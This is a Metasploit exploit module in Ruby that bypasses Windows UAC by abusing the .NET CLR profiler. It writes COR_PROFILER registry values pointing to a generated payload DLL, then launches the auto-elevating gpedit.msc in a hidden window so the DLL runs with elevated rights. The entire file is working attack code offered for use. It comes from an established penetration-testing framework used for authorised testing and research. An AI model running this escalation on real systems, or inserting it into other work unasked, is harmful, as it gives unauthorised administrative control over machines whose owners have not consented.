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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Post::Windows::Priv
  include Post::Windows::Runas

  def initialize(info={})
    super(update_info(info,
      'Name'          => 'Windows Escalate UAC Protection Bypass (Via dot net profiler)',
      'Description'   => %q(
      Microsoft Windows allows for the automatic loading of a profiling COM object during
      the launch of a CLR process based on certain environment variables ostensibly to
      monitor execution.  In this case, we abuse the profiler by pointing to a payload DLL
      that will be launched as the profiling thread.  This thread will run at the permission
      level of the calling process, so an auto-elevating process will launch the DLL with
      elevated permissions.  In this case, we use gpedit.msc as the auto-elevated CLR
      process, but others would work, too.
      ),
      'License'       => MSF_LICENSE,
      'Author'        => [
          'Casey Smith',   # UAC bypass discovery and research
          '"Stefan Kanthak" <stefan.kanthak () nexgo de>',   # UAC bypass discovery and research
          'bwatters-r7', # Module
        ],
      'Platform'      => ['win'],
      'SessionTypes'  => ['meterpreter'],
      'Targets'       => [
          [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
      ],
      'DefaultTarget' => 0,
      'Notes'         =>
        {
          'SideEffects' => [ ARTIFACTS_ON_DISK ]
        },
      'References'    =>
        [
          ['URL', 'https://seclists.org/fulldisclosure/2017/Jul/11'],
          ['URL', 'https://offsec.provadys.com/UAC-bypass-dotnet.html']
        ],
      'DisclosureDate' => 'Mar 17 2017'
      )
    )
    register_options(
      [OptString.new('PAYLOAD_NAME', [false, 'The filename to use for the payload binary (%RAND% by default).', nil])]
    )

  end

  def check
    if sysinfo['OS'] =~ /Windows (7|8|2008|2012|10)/ && is_uac_enabled?
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end

  def write_reg_value(registry_hash)
    vprint_status("Writing #{registry_hash[:value_name]} to #{registry_hash[:key_name]}")
    begin
      if not registry_key_exist?(registry_hash[:key_name])
        registry_createkey(registry_hash[:key_name])
        registry_hash[:delete_on_cleanup] = true
      else
        registry_hash[:delete_on_cleanup] = false
      end
      registry_setvaldata(registry_hash[:key_name], \
                          registry_hash[:value_name], \
                          registry_hash[:value_value], \
                          registry_hash[:value_type])
    rescue Rex::Post::Meterpreter::RequestError => e
      print_error(e.to_s)
    end
  end

  def remove_reg_value(registry_hash)
    # we may have already deleted the key
    return unless registry_key_exist?(registry_hash[:key_name])
    begin
      if registry_hash[:delete_on_cleanup]
        vprint_status("Deleting #{registry_hash[:key_name]} key")
        registry_deletekey(registry_hash[:key_name])
      else
        vprint_status("Deleting #{registry_hash[:value_name]} from #{registry_hash[:key_name]} key")
        registry_deleteval(registry_hash[:key_name], registry_hash[:value_name])
      end
    rescue Rex::Post::Meterpreter::RequestError => e
      print_bad("Unable to clean up registry")
      print_error(e.to_s)
    end
  end

  def exploit
    check_permissions!
    case get_uac_level
    when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
      UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
      UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
      fail_with(Failure::NotVulnerable,
                "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
    when UAC_DEFAULT
      print_good('UAC is set to Default')
      print_good('BypassUAC can bypass this setting, continuing...')
    when UAC_NO_PROMPT
      print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
      shell_execute_exe
      return
    end

    # get directory locations straight
    win_dir = session.sys.config.getenv('windir')
    vprint_status("win_dir = " + win_dir)
    tmp_dir = session.sys.config.getenv('tmp')
    vprint_status("tmp_dir = " + tmp_dir)
    exploit_dir = win_dir + "\\System32\\"
    vprint_status("exploit_dir = " + exploit_dir)
    target_filepath = exploit_dir + "gpedit.msc"
    vprint_status("target_filepath = " + target_filepath)
    payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.dll'
    payload_pathname = tmp_dir + '\\' + payload_name

    # make payload
    vprint_status("Making Payload")
    vprint_status("payload_pathname = " + payload_pathname)
    payload = generate_payload_dll

    uuid = SecureRandom.uuid
    vprint_status("UUID = #{uuid}")
    reg_keys = []
    # This reg key will not hurt anything in windows 10+, but is not required.
    unless sysinfo['OS'] =~ /Windows (2016|10)/
      reg_keys.push(key_name: "HKCU\\Software\\Classes\\CLSID\\{#{uuid}}\\InprocServer32",
                    value_name: '',
                    value_type: "REG_EXPAND_SZ",
                    value_value: payload_pathname,
                    delete_on_cleanup: false)
    end
    reg_keys.push(key_name: "HKCU\\Environment",
                  value_name: "COR_PROFILER",
                  value_type: "REG_SZ",
                  value_value: "{#{uuid}}",
                  delete_on_cleanup: false)
    reg_keys.push(key_name: "HKCU\\Environment",
                  value_name: "COR_ENABLE_PROFILING",
                  value_type: "REG_SZ",
                  value_value: "1",
                  delete_on_cleanup: false)
    reg_keys.push(key_name: "HKCU\\Environment",
                  value_name: "COR_PROFILER_PATH",
                  value_type: "REG_SZ",
                  value_value: payload_pathname,
                  delete_on_cleanup: false)
    reg_keys.each do |key_hash|
      write_reg_value(key_hash)
    end

    # Upload payload
    vprint_status("Uploading Payload to #{payload_pathname}")
    write_file(payload_pathname, payload)
    vprint_status("Payload Upload Complete")

    vprint_status("Launching " + target_filepath)
    begin
      session.sys.process.execute("cmd.exe /c \"#{target_filepath}\"", nil, 'Hidden' => true)
    rescue Rex::Post::Meterpreter::RequestError => e
      print_error(e.to_s)
    end
    print_warning("This exploit requires manual cleanup of '#{payload_pathname}!")
    # wait for a few seconds before cleaning up
    print_status("Please wait for session and cleanup....")
    sleep(20)
    vprint_status("Removing Registry Changes")
    reg_keys.each do |key_hash|
      remove_reg_value(key_hash)
    end
    vprint_status("Registry Changes Removed")
  end

  def check_permissions!
    unless check == Exploit::CheckCode::Appears
      fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
    end
    fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
    # Check if you are an admin
    # is_in_admin_group can be nil, true, or false
    print_status('UAC is Enabled, checking level...')
    vprint_status('Checking admin status...')
    admin_group = is_in_admin_group?
    if admin_group.nil?
      print_error('Either whoami is not there or failed to execute')
      print_error('Continuing under assumption you already checked...')
    else
      if admin_group
        print_good('Part of Administrators group! Continuing...')
      else
        fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
      end
    end

    if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
      fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
    end
  end
end